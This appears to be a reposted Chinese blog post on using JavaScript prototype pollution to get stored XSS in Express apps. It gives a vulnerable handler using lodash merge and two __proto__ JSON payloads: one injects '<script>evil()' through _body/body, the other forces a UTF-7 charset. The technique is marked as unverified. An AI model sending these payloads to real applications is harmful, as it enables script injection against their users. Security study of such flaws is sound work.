当前位置: 首页 > news >正文

原型链污染挖掘(存储XSS)

服务XSS响应

将JSON content-type更改为HTML

在Express应用中使用 JSON内容类型响应 并反映一个JSON:

app.use(bodyParser.json({type: 'application/json'}));
app.post('/', function(req, res){_.merge({}, req.body);res.send(req.body);
});

在这些情况下,XSS通常不可能使用JSON内容类型。然而,有了原型污染,我们可以 混淆Express以提供HTML响应。

此漏洞依赖于使用 res.send(obj)以及使用具有Application/JSON内容类型的主体解析器

{"__proto__":{"_body":true,"body":"<script>evil()"}
}

执行人污染 两个 body 和/或 _body属性,有可能导致 Express 提供HTML内容类型 并反映 _body 属性,导致存储的XSS。

渲染UTF7

渲染UTF-7内容:

{"__proto__":{"content-type": "application/json; charset=utf-7"}
}

验证待续

http://www.lryc.cn/news/112997.html

相关文章:

  • Chrome开发者工具介绍
  • 利用MMPose进行姿态估计(训练、测试全流程)
  • ROS2 编译含有自定义消息项目报错:msg/detail/header__struct.h: 没有那个文件或目录
  • 线段树思想拆解(下篇)
  • Containerd容器镜像管理
  • Baumer工业相机堡盟工业相机如何通过BGAPI SDK获取相机当前数据吞吐量(C#)
  • Ubuntu服务器版配置wifi
  • Windows 主机的VMware 虚拟机访问 wsl-ubuntu 的 API 服务
  • 【Spring】(一)Spring设计核心思想
  • chrome插件开发实例04-智能收藏夹
  • iOS技术之 手机系统15.0之后 的 UITableView section header多22像素问题
  • Windows下安装Kafka(图文记录详细步骤)
  • linuxARM裸机学习笔记(3)----主频和时钟配置实验
  • 防勒索病毒
  • 剑指 Offer 53 - II. 0~n-1 中缺失的数字
  • vue2和vue3区别
  • IMV3.0
  • 怎么在树莓派环境上搭建web网站,并发布到外网可访问,今天教给大家
  • 大文件传输软件| 生命科学中的关键因素
  • varint编码实现原理
  • 如果新电脑是刚安装的mysql,但是旧电脑迁移过来的文件里面有相关的rails文件,运行rake db:migrate一直报错
  • ChatGPT已闯入学术界,Elsevier推出AI工具
  • 深度学习论文: RepViT: Revisiting Mobile CNN From ViT Perspective及其PyTorch实现
  • R语言3_安装SeurateData
  • 详解Gillespie算法:使用Python构建分子化学模拟及其在随机多智能体动力学中的应用
  • Unity数字可视化学校_昼夜(三)
  • 使用罗技鼠标后 弹出当前页面的脚本发生错误AppData/Local/Temp/LogiUI/Pak/js/jquery-1.3.2.min.js解决
  • Kubernetes(K8s)从入门到精通系列之十四:安装工具
  • 【Python】Python元组学习
  • HTML 元素的属性有哪些?